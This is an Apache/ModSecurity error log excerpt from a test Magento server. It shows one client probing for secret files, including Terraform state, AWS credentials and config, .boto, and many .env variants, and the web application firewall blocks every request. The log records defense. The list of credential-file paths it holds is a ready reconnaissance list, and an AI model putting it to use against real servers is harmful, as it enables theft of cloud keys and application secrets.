[Thu Mar 12 21:45:16.025980 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/terraform.tfstate.backup"] [unique_id "abMl3Bh46oOr_mPgZ6HLkQAAAAI"]
[Thu Mar 12 21:45:16.026397 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/terraform.tfstate.backup"] [unique_id "abMl3Bh46oOr_mPgZ6HLkQAAAAI"]
[Thu Mar 12 21:45:16.026529 2026] [:error] [pid 2656515] [client 185.177.72.13:17302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/terraform.tfstate.backup"] [unique_id "abMl3Bh46oOr_mPgZ6HLkQAAAAI"]
[Thu Mar 12 21:45:16.469024 2026] [authz_core:error] [pid 2656516] [client 185.177.72.13:17304] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/terraform.tfstate
[Thu Mar 12 21:45:16.491843 2026] [authz_core:error] [pid 2656516] [client 185.177.72.13:17304] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.terraform
[Thu Mar 12 21:45:16.514544 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /~/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.aws/credentials"] [unique_id "abMl3Pv0eBlLRFPxh3wD2wAAAAM"]
[Thu Mar 12 21:45:16.514814 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.aws/credentials"] [unique_id "abMl3Pv0eBlLRFPxh3wD2wAAAAM"]
[Thu Mar 12 21:45:16.514991 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.aws/credentials"] [unique_id "abMl3Pv0eBlLRFPxh3wD2wAAAAM"]
[Thu Mar 12 21:45:16.537028 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/config found within REQUEST_FILENAME: /~/.aws/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.aws/config"] [unique_id "abMl3Pv0eBlLRFPxh3wD3AAAAAM"]
[Thu Mar 12 21:45:16.537227 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.aws/config"] [unique_id "abMl3Pv0eBlLRFPxh3wD3AAAAAM"]
[Thu Mar 12 21:45:16.537365 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.aws/config"] [unique_id "abMl3Pv0eBlLRFPxh3wD3AAAAAM"]
[Thu Mar 12 21:45:16.559379 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".boto" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .boto found within REQUEST_FILENAME: /~/.boto"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.boto"] [unique_id "abMl3Pv0eBlLRFPxh3wD3QAAAAM"]
[Thu Mar 12 21:45:16.559561 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.boto"] [unique_id "abMl3Pv0eBlLRFPxh3wD3QAAAAM"]
[Thu Mar 12 21:45:16.559675 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.boto"] [unique_id "abMl3Pv0eBlLRFPxh3wD3QAAAAM"]
[Thu Mar 12 21:45:16.672549 2026] [authz_core:error] [pid 2656516] [client 185.177.72.13:17304] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Thu Mar 12 21:45:16.694402 2026] [authz_core:error] [pid 2656516] [client 185.177.72.13:17304] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Thu Mar 12 21:45:16.716276 2026] [authz_core:error] [pid 2656516] [client 185.177.72.13:17304] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/amplify.yml
[Thu Mar 12 21:45:16.738188 2026] [authz_core:error] [pid 2656516] [client 185.177.72.13:17304] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/amplify.yaml
[Thu Mar 12 21:45:16.759983 2026] [authz_core:error] [pid 2656516] [client 185.177.72.13:17304] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Thu Mar 12 21:45:16.782298 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /$(pwd)/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env"] [unique_id "abMl3Pv0eBlLRFPxh3wD5wAAAAM"]
[Thu Mar 12 21:45:16.782535 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env"] [unique_id "abMl3Pv0eBlLRFPxh3wD5wAAAAM"]
[Thu Mar 12 21:45:16.782664 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env"] [unique_id "abMl3Pv0eBlLRFPxh3wD5wAAAAM"]
[Thu Mar 12 21:45:16.804741 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /$(pwd)/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.local"] [unique_id "abMl3Pv0eBlLRFPxh3wD6AAAAAM"]
[Thu Mar 12 21:45:16.804981 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.local"] [unique_id "abMl3Pv0eBlLRFPxh3wD6AAAAAM"]
[Thu Mar 12 21:45:16.805112 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.local"] [unique_id "abMl3Pv0eBlLRFPxh3wD6AAAAAM"]
[Thu Mar 12 21:45:16.827207 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /$(pwd)/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.production"] [unique_id "abMl3Pv0eBlLRFPxh3wD6QAAAAM"]
[Thu Mar 12 21:45:16.827406 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.production"] [unique_id "abMl3Pv0eBlLRFPxh3wD6QAAAAM"]
[Thu Mar 12 21:45:16.827535 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.production"] [unique_id "abMl3Pv0eBlLRFPxh3wD6QAAAAM"]
[Thu Mar 12 21:45:16.849569 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /$(pwd)/.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.development"] [unique_id "abMl3Pv0eBlLRFPxh3wD6gAAAAM"]
[Thu Mar 12 21:45:16.849765 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.development"] [unique_id "abMl3Pv0eBlLRFPxh3wD6gAAAAM"]
[Thu Mar 12 21:45:16.849893 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.development"] [unique_id "abMl3Pv0eBlLRFPxh3wD6gAAAAM"]
[Thu Mar 12 21:45:16.871871 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /$(pwd)/.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.staging"] [unique_id "abMl3Pv0eBlLRFPxh3wD6wAAAAM"]
[Thu Mar 12 21:45:16.872087 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.staging"] [unique_id "abMl3Pv0eBlLRFPxh3wD6wAAAAM"]
[Thu Mar 12 21:45:16.872230 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.staging"] [unique_id "abMl3Pv0eBlLRFPxh3wD6wAAAAM"]
[Thu Mar 12 21:45:16.893867 2026] [authz_core:error] [pid 2656516] [client 185.177.72.13:17304] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Thu Mar 12 21:45:16.915735 2026] [authz_core:error] [pid 2656516] [client 185.177.72.13:17304] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env.local
[Thu Mar 12 21:45:16.937554 2026] [authz_core:error] [pid 2656516] [client 185.177.72.13:17304] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env.production
[Thu Mar 12 21:45:16.959548 2026] [authz_core:error] [pid 2656516] [client 185.177.72.13:17304] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/www
[Thu Mar 12 21:45:16.981515 2026] [authz_core:error] [pid 2656516] [client 185.177.72.13:17304] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/www
[Thu Mar 12 21:45:17.003912 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /opt/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/opt/.env"] [unique_id "abMl3fv0eBlLRFPxh3wD8QAAAAM"]
[Thu Mar 12 21:45:17.004112 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/opt/.env"] [unique_id "abMl3fv0eBlLRFPxh3wD8QAAAAM"]
[Thu Mar 12 21:45:17.004279 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/opt/.env"] [unique_id "abMl3fv0eBlLRFPxh3wD8QAAAAM"]
[Thu Mar 12 21:45:17.026443 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /srv/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/srv/.env"] [unique_id "abMl3fv0eBlLRFPxh3wD8gAAAAM"]
[Thu Mar 12 21:45:17.026651 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/srv/.env"] [unique_id "abMl3fv0eBlLRFPxh3wD8gAAAAM"]
[Thu Mar 12 21:45:17.026791 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/srv/.env"] [unique_id "abMl3fv0eBlLRFPxh3wD8gAAAAM"]
[Thu Mar 12 21:45:17.048758 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "abMl3fv0eBlLRFPxh3wD8wAAAAM"]
[Thu Mar 12 21:45:17.048931 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "abMl3fv0eBlLRFPxh3wD8wAAAAM"]
[Thu Mar 12 21:45:17.049053 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "abMl3fv0eBlLRFPxh3wD8wAAAAM"]
